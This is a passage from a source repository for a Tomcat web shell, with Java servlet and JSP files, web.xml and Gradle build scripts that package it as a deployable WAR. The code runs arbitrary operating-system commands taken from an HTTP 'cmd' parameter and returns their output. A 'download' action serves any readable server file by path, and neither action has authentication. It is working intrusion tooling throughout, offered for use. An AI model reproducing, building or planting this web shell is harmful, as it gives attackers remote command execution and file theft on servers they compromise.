59 | Writer writer = response.getWriter();
60 | String stdout = "";
61 | String stderr = "";
62 | String linebuffer = "";
63 |
64 | String[] commands = {"/bin/bash", "-c", cmd};
65 |
66 | if (SystemUtils.IS_OS_WINDOWS) {
67 | commands[0] = "cmd.exe";
68 | commands[1] = "/c";
69 | } else if (SystemUtils.IS_OS_AIX) {
70 | commands[0] = "/bin/ksh";
71 | commands[1] = "/c";
72 | } else if (SystemUtils.IS_OS_LINUX) {
73 | commands[0] = "/bin/bash";
74 | commands[1] = "-c";
75 | } else if (SystemUtils.IS_OS_MAC) {
76 | commands[0] = "/bin/dash";
77 | commands[1] = "-c";
78 | }
79 |
80 | try {
81 | Runtime rt = Runtime.getRuntime();
82 | Process proc = rt.exec(commands);
83 | BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
84 | BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
85 | // Read the output from the command
86 | while ((linebuffer = stdInput.readLine()) != null) { stdout += linebuffer+"\n"; }
87 | // Read any errors from the attempted command
88 | while ((linebuffer = stdError.readLine()) != null) { stderr += linebuffer+"\n"; }
89 | } catch (IOException e) {
90 | e.printStackTrace();
91 | }
92 |
93 | try {
94 | JSONObject result = new JSONObject();
95 | result.put("exec", commands);
96 | result.put("stdout", stdout);
97 | result.put("stderr", stderr);
98 | response.addHeader("Content-Type", "application/json");
99 | result.write(writer);
100 | } catch (JSONException e) {
101 | e.printStackTrace();
102 | }
103 | }
104 |
105 | private void action_download(HttpServletResponse response, String path) throws IOException {
106 | Writer writer = response.getWriter();
107 | if (path == null) {
108 | try {
109 | JSONObject result = new JSONObject();
110 | result.put("action", "download");
111 | result.put("error", "Missing 'path' argument in http request.");
112 | response.addHeader("Content-Type", "application/json");
113 | result.write(writer);
114 | } catch(Exception jsonerr) {
115 | jsonerr.printStackTrace();
116 | }
117 | } else {
118 | try {
119 | File f = new File(path);
120 | if (f.exists()) {
121 | if (f.isFile()) {
122 | if (f.canRead()) {
123 | response.setContentType("application/octet-stream");
124 | response.setHeader("Content-Disposition", "attachment;filename=\"" + f.getName() + "\"");
125 | FileInputStream fileInputStream = new FileInputStream(path);
126 | ServletOutputStream httpResponse = response.getOutputStream();
127 | byte[] buffer = new byte[1024];
128 | while (fileInputStream.available() > 0) {
129 | fileInputStream.read(buffer);
130 | httpResponse.write(buffer);
131 | }
132 | httpResponse.flush();
133 | httpResponse.close();
134 | fileInputStream.close();
135 | } else {
136 | try {
137 | JSONObject result = new JSONObject();
138 | result.put("action", "download");
139 | result.put("error", "File " + path + " exists but is not readable.");
140 | response.addHeader("Content-Type", "application/json");
141 | result.write(writer);
142 | } catch (JSONException jsonerr) {
143 | jsonerr.printStackTrace();
144 | }
145 | }
146 | } else {
147 | try {
148 | JSONObject result = new JSONObject();
149 | result.put("action", "download");
150 | result.put("error", "Path " + path + " is not a file (maybe a directory or a pipe).");
151 | response.addHeader("Content-Type", "application/json");
152 | result.write(writer);
153 | } catch (JSONException jsonerr) {
154 | jsonerr.printStackTrace();
155 | }
156 | }
157 | } else {
158 | try {
159 | JSONObject result = new JSONObject();
160 | result.put("action", "download");
161 | result.put("error", "Path " + path + " does not exist or is not readable.");
162 | response.addHeader("Content-Type", "application/json");
163 | result.write(writer);
164 | } catch(JSONException jsonerr) {
165 | jsonerr.printStackTrace();
166 | }
167 | }
168 | } catch (Exception err) {
169 | try {
170 | JSONObject result = new JSONObject();
171 | result.put("action", "download");
172 | result.put("error", err.getMessage());
173 | response.addHeader("Content-Type", "application/json");
174 | result.write(writer);
175 | } catch (Exception jsonerr) {
176 | jsonerr.printStackTrace();
177 | }
178 | }
179 | }
180 | }
181 | }
182 |
--------------------------------------------------------------------------------
/webshell/tomcat_10_and_upper/src/main/webapp/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
10 |
11 |
12 | api
13 | /api.jsp
14 |
15 |
16 | api
17 | /api.jsp
18 |
19 |
20 |
--------------------------------------------------------------------------------
/webshell/tomcat_10_and_upper/src/main/webapp/api.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="java.util.*" %>
2 | <%@ page import="java.io.*" %>
3 | <%@ page import="org.json.*" %>
4 |
5 | <%@ page contentType="application/json; charset=UTF-8" %>
6 |
7 | <%!
8 | private boolean isParameterSet(HttpServletRequest request, String name) {
9 | Enumeration parameters = request.getParameterNames();
10 | boolean isDefined = false;
11 | while (parameters.hasMoreElements()) {
12 | String paramName = parameters.nextElement();
13 | if (paramName.equals(name)) {
14 | isDefined = true;
15 | break;
16 | }
17 | }
18 | return isDefined;
19 | }
20 |
21 | private void action_exec(JspWriter writer, String cmd) throws IOException {
22 | String stdout = "";
23 | String stderr = "";
24 | String linebuffer = "";
25 |
26 | String[] commands = {"/bin/bash", "-c", cmd};
27 |
28 | String OS = System.getProperty("os.name").toLowerCase();
29 | boolean IS_OS_WINDOWS = (OS.indexOf("win") >= 0);
30 | boolean IS_OS_MAC = (OS.indexOf("mac") >= 0);
31 | boolean IS_OS_LINUX = (OS.indexOf("nix") >= 0 || OS.indexOf("nux") >= 0);
32 | boolean IS_OS_AIX = (OS.indexOf("aix") > 0);
33 | boolean IS_SOLARIS = (OS.indexOf("sunos") >= 0);
34 |
35 | if (IS_OS_WINDOWS) {
36 | commands[0] = "cmd.exe";
37 | commands[1] = "/c";
38 | } else if (IS_OS_AIX) {
39 | commands[0] = "/bin/ksh";
40 | commands[1] = "-c";
41 | } else if (IS_OS_LINUX) {
42 | commands[0] = "/bin/bash";
43 | commands[1] = "-c";
44 | } else if (IS_OS_MAC) {
45 | commands[0] = "/bin/dash";
46 | commands[1] = "-c";
47 | }
48 |
49 | try {
50 | Runtime rt = Runtime.getRuntime();
51 | Process proc = rt.exec(commands);
52 | BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
53 | BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
54 | // Read the output from the command
55 | while ((linebuffer = stdInput.readLine()) != null) { stdout += linebuffer+"\n"; }
56 | // Read any errors from the attempted command
57 | while ((linebuffer = stdError.readLine()) != null) { stderr += linebuffer+"\n"; }
58 | } catch (IOException e) {
59 | e.printStackTrace();
60 | }
61 |
62 | try {
63 | JSONObject result = new JSONObject();
64 | result.put("exec", commands);
65 | result.put("stdout", stdout);
66 | result.put("stderr", stderr);
67 |
68 | result.write(writer);
69 | } catch (JSONException e) {
70 | e.printStackTrace();
71 | }
72 | }
73 | %>
74 |
75 | <%
76 | if (isParameterSet(request, "action")) {
77 | String action = request.getParameter("action");
78 |
79 | if (action.equals("exec") && isParameterSet(request, "cmd")) {
80 | String cmd = request.getParameter("cmd");
81 | action_exec(out, cmd);
82 | } else if (action.equals("download") && isParameterSet(request, "path")) {
83 | // TODO
84 | // String path = request.getParameter("path");
85 | // action_download(out, path);
86 | JSONObject result = new JSONObject();
87 | result.write(out);
88 | } else if (action.equals("upload") && isParameterSet(request, "path")) {
89 | // TODO
90 | // String path = request.getParameter("path");
91 | // action_upload(out, path);
92 | JSONObject result = new JSONObject();
93 | result.write(out);
94 | } else {
95 | JSONObject result = new JSONObject();
96 | result.write(out);
97 | }
98 | } else {
99 | JSONObject result = new JSONObject();
100 | result.write(out);
101 | }
102 | %>
--------------------------------------------------------------------------------
/webshell/tomcat_9_and_lower/build.gradle:
--------------------------------------------------------------------------------
1 | plugins {
2 | id 'war'
3 | }
4 |
5 | repositories {
6 | mavenCentral()
7 | }
8 |
9 | dependencies {
10 | // Java Servlet 4.0 API
11 | // https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api
12 | providedCompile 'javax.servlet:javax.servlet-api:4.0.1'
13 | compile 'org.json:json:20080701'
14 | compile 'org.apache.commons:commons-lang3:3.10'
15 | }
16 |
17 | // Java 8
18 | sourceCompatibility = 8
19 | targetCompatibility = 8
20 |
21 | // Application
22 | version = '1.3.0'
23 |
--------------------------------------------------------------------------------
/webshell/tomcat_9_and_lower/build.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | log() { echo -e "\x1b[1m[\x1b[93mLOG\x1b[0m\x1b[1m]\x1b[0m ${@}"; }
4 | info() { echo -e "\x1b[1m[\x1b[92mINFO\x1b[0m\x1b[1m]\x1b[0m ${@}"; }
5 | warn() { echo -e "\x1b[1m[\x1b[91mWARN\x1b[0m\x1b[1m]\x1b[0m ${@}"; }
6 |
7 | VERSION="1.3.0"
8 | PROJECTNAME="webshell"
9 |
10 | #=======================================================================================================================
11 |
12 | info "Building for Apache Tomcat 9.x and lower"
13 |
14 | # Prepare configuration
15 | log "Setting version = '${VERSION}' in build.gradle ..."
16 | sed -i "s/version = .*/version = '${VERSION}'/g" build.gradle
17 |
18 | log "Starting build ..."
19 | gradle build
20 |
21 | # Distribution
22 | log "Copying final WAR files ..."
23 | if [[ ! -d ./dist/${VERSION}/ ]]; then mkdir -p ./dist/${VERSION}/; fi
24 | if [[ -f ./build/libs/build-${VERSION}.war ]]; then
25 | info "Saved to ./dist/${VERSION}/${PROJECTNAME}.war"
26 | cp ./build/libs/build-${VERSION}.war ./dist/${VERSION}/${PROJECTNAME}.war
27 | chmod 777 ./dist/${VERSION}/${PROJECTNAME}.war
28 | fi
29 |
30 | # Cleanup
31 | log "Cleanup build environnement ..."
32 | if [[ -d ./build/ ]]; then
33 | rm -rf ./build/;
34 | fi
35 |
36 | if [[ -d ./.gradle/ ]]; then
37 | rm -rf ./.gradle/;
38 | fi
39 |
40 |
41 |
--------------------------------------------------------------------------------
/webshell/tomcat_9_and_lower/src/main/java/com/podalirius/ApiServlet.java:
--------------------------------------------------------------------------------
1 | package com.podalirius;
2 |
3 | import org.apache.commons.lang3.SystemUtils;
4 | import java.io.BufferedReader;
5 | import java.io.File;
6 | import java.io.FileInputStream;
7 | import java.io.InputStreamReader;
8 | import java.io.IOException;
9 | import java.io.PrintWriter;
10 | import java.io.Writer;
11 | import java.util.Map;
12 | import javax.servlet.annotation.WebServlet;
13 | import javax.servlet.http.HttpServlet;
14 | import javax.servlet.http.HttpServletRequest;
15 | import javax.servlet.http.HttpServletResponse;
16 | import javax.servlet.ServletException;
17 | import javax.servlet.ServletOutputStream;
18 | import org.json.JSONException;
19 | import org.json.JSONObject;
20 |
21 |
22 | @WebServlet("/api")
23 | public class ApiServlet extends HttpServlet {
24 | @Override
25 | protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
26 | String action = request.getParameter("action");
27 |
28 | if (action.equals("exec")) {
29 | String cmd = request.getParameter("cmd");
30 | action_exec(response, cmd);
31 | } else if (action.equals("download")) {
32 | String path = request.getParameter("path");
33 | action_download(response, path);
34 | } else if (action.equals("upload")) {
35 | // TODO
36 | // String path = request.getParameter("path");
37 | // action_upload(response, path);
38 | }
39 | }
40 |
41 | @Override
42 | protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
43 | String action = request.getParameter("action");
44 |
45 | if (action.equals("exec")) {
46 | String cmd = request.getParameter("cmd");
47 | action_exec(response, cmd);
48 | } else if (action.equals("download")) {
49 | String path = request.getParameter("path");
50 | action_download(response, path);
51 | } else if (action.equals("upload")) {
52 | // TODO
53 | // String path = request.getParameter("path");
54 | // action_upload(response, path);
55 | }
56 | }
57 |
58 | private void action_exec(HttpServletResponse response, String cmd) throws IOException {
59 | Writer writer = response.getWriter();
60 | String stdout = "";
61 | String stderr = "";
62 | String linebuffer = "";
63 |
64 | String[] commands = {"/bin/bash", "-c", cmd};
65 |
66 | if (SystemUtils.IS_OS_WINDOWS) {
67 | commands[0] = "cmd.exe";
68 | commands[1] = "/c";
69 | } else if (SystemUtils.IS_OS_AIX) {
70 | commands[0] = "/bin/ksh";
71 | commands[1] = "/c";
72 | } else if (SystemUtils.IS_OS_LINUX) {
73 | commands[0] = "/bin/bash";
74 | commands[1] = "-c";
75 | } else if (SystemUtils.IS_OS_MAC) {
76 | commands[0] = "/bin/dash";
77 | commands[1] = "-c";
78 | }
79 |
80 | try {
81 | Runtime rt = Runtime.getRuntime();
82 | Process proc = rt.exec(commands);
83 | BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
84 | BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
85 | // Read the output from the command
86 | while ((linebuffer = stdInput.readLine()) != null) { stdout += linebuffer+"\n"; }
87 | // Read any errors from the attempted command
88 | while ((linebuffer = stdError.readLine()) != null) { stderr += linebuffer+"\n"; }
89 | } catch (IOException e) {
90 | e.printStackTrace();
91 | }
92 |
93 | try {
94 | JSONObject result = new JSONObject();
95 | result.put("exec", commands);
96 | result.put("stdout", stdout);
97 | result.put("stderr", stderr);
98 | response.addHeader("Content-Type", "application/json");
99 | result.write(writer);
100 | } catch (JSONException e) {
101 | e.printStackTrace();
102 | }
103 | }
104 |
105 | private void action_download(HttpServletResponse response, String path) throws IOException {
106 | if (path == null) {
107 | try {
108 | Writer writer = response.getWriter();
109 | JSONObject result = new JSONObject();
110 | result.put("action", "download");
111 | result.put("error", "Missing 'path' argument in http request.");
112 | response.addHeader("Content-Type", "application/json");
113 | result.write(writer);
114 | } catch(Exception jsonerr) {
115 | jsonerr.printStackTrace();
116 | }
117 | } else {
118 | try {
119 | File f = new File(path);
120 | if (f.exists()) {
121 | if (f.isFile()) {
122 | if (f.canRead()) {
123 | response.setContentType("application/octet-stream");
124 | response.setHeader("Content-Disposition", "attachment;filename=\"" + f.getName() + "\"");
125 | FileInputStream fileInputStream = new FileInputStream(path);
126 | ServletOutputStream httpResponse = response.getOutputStream();
127 | byte[] buffer = new byte[1024];
128 | while (fileInputStream.available() > 0) {
129 | fileInputStream.read(buffer);
130 | httpResponse.write(buffer);
131 | }
132 | httpResponse.flush();
133 | httpResponse.close();
134 | fileInputStream.close();
135 | } else {
136 | try {
137 | Writer writer = response.getWriter();
138 | JSONObject result = new JSONObject();
139 | result.put("action", "download");
140 | result.put("error", "File " + path + " exists but is not readable.");
141 | response.addHeader("Content-Type", "application/json");
142 | result.write(writer);
143 | } catch (JSONException jsonerr) {
144 | jsonerr.printStackTrace();
145 | }
146 | }
147 | } else {
148 | try {
149 | Writer writer = response.getWriter();
150 | JSONObject result = new JSONObject();
151 | result.put("action", "download");
152 | result.put("error", "Path " + path + " is not a file (maybe a directory or a pipe).");
153 | response.addHeader("Content-Type", "application/json");
154 | result.write(writer);
155 | } catch (JSONException jsonerr) {
156 | jsonerr.printStackTrace();
157 | }
158 | }
159 | } else {
160 | try {
161 | Writer writer = response.getWriter();
162 | JSONObject result = new JSONObject();
163 | result.put("action", "download");
164 | result.put("error", "Path " + path + " does not exist or is not readable.");
165 | response.addHeader("Content-Type", "application/json");
166 | result.write(writer);
167 | } catch(JSONException jsonerr) {
168 | jsonerr.printStackTrace();
169 | }
170 | }
171 | } catch (Exception err) {
172 | try {
173 | Writer writer = response.getWriter();
174 | JSONObject result = new JSONObject();
175 | result.put("action", "download");
176 | result.put("error", err.getMessage());
177 | response.addHeader("Content-Type", "application/json");
178 | result.write(writer);
179 | } catch (Exception jsonerr) {
180 | jsonerr.printStackTrace();
181 | }
182 | }
183 | }
184 | }
185 | }
186 |
--------------------------------------------------------------------------------
/webshell/tomcat_9_and_lower/src/main/webapp/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
10 |
11 |
12 | api
13 | /api.jsp
14 |
15 |
16 | api
17 | /api.jsp
18 |
19 |
20 |
--------------------------------------------------------------------------------
/webshell/tomcat_9_and_lower/src/main/webapp/api.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="java.util.*" %>
2 | <%@ page import="java.io.*" %>
3 | <%@ page import="org.json.*" %>
4 |
5 | <%@ page contentType="application/json; charset=UTF-8" %>
6 |
7 | <%!
8 | private boolean isParameterSet(HttpServletRequest request, String name) {
9 | Enumeration parameters = request.getParameterNames();
10 | boolean isDefined = false;
11 | while (parameters.hasMoreElements()) {
12 | String paramName = parameters.nextElement();
13 | if (paramName.equals(name)) {
14 | isDefined = true;
15 | break;
16 | }
17 | }
18 | return isDefined;
19 | }
20 |
21 | private void action_exec(JspWriter writer, String cmd) throws IOException {
22 | String stdout = "";
23 | String stderr = "";
24 | String linebuffer = "";
25 |
26 | String[] commands = {"/bin/bash", "-c", cmd};
27 |
28 | String OS = System.getProperty("os.name").toLowerCase();
29 | boolean IS_OS_WINDOWS = (OS.indexOf("win") >= 0);
30 | boolean IS_OS_MAC = (OS.indexOf("mac") >= 0);
31 | boolean IS_OS_LINUX = (OS.indexOf("nix") >= 0 || OS.indexOf("nux") >= 0);
32 | boolean IS_OS_AIX = (OS.indexOf("aix") > 0);
33 | boolean IS_SOLARIS = (OS.indexOf("sunos") >= 0);
34 |
35 | if (IS_OS_WINDOWS) {
36 | commands[0] = "cmd.exe";
37 | commands[1] = "/c";
38 | } else if (IS_OS_AIX) {
39 | commands[0] = "/bin/ksh";
40 | commands[1] = "-c";
41 | } else if (IS_OS_LINUX) {
42 | commands[0] = "/bin/bash";
43 | commands[1] = "-c";
44 | } else if (IS_OS_MAC) {
45 | commands[0] = "/bin/dash";
46 | commands[1] = "-c";
47 | }
48 |
49 | try {
50 | Runtime rt = Runtime.getRuntime();
51 | Process proc = rt.exec(commands);
52 | BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
53 | BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
54 | // Read the output from the command
55 | while ((linebuffer = stdInput.readLine()) != null) { stdout += linebuffer+"\n"; }
56 | // Read any errors from the attempted command
57 | while ((linebuffer = stdError.readLine()) != null) { stderr += linebuffer+"\n"; }
58 | } catch (IOException e) {
59 | e.printStackTrace();
60 | }
61 |
62 | try {
63 | JSONObject result = new JSONObject();
64 | result.put("exec", commands);
65 | result.put("stdout", stdout);
66 | result.put("stderr", stderr);
67 |
68 | result.write(writer);
69 | } catch (JSONException e) {
70 | e.printStackTrace();
71 | }
72 | }
73 | %>
74 |
75 | <%
76 | if (isParameterSet(request, "action")) {
77 | String action = request.getParameter("action");
78 |
79 | if (action.equals("exec") && isParameterSet(request, "cmd")) {
80 | String cmd = request.getParameter("cmd");
81 | action_exec(out, cmd);
82 | } else if (action.equals("download") && isParameterSet(request, "path")) {
83 | // TODO
84 | // String path = request.getParameter("path");
85 | // action_download(out, path);
86 | JSONObject result = new JSONObject();
87 | result.write(out);
88 | } else if (action.equals("upload") && isParameterSet(request, "path")) {
89 | // TODO
90 | // String path = request.getParameter("path");
91 | // action_upload(out, path);
92 | JSONObject result = new JSONObject();
93 | result.write(out);
94 | } else {
95 | JSONObject result = new JSONObject();
96 | result.write(out);
97 | }
98 | } else {
99 | JSONObject result = new JSONObject();
100 | result.write(out);
101 | }
102 | %>
103 |
104 |
--------------------------------------------------------------------------------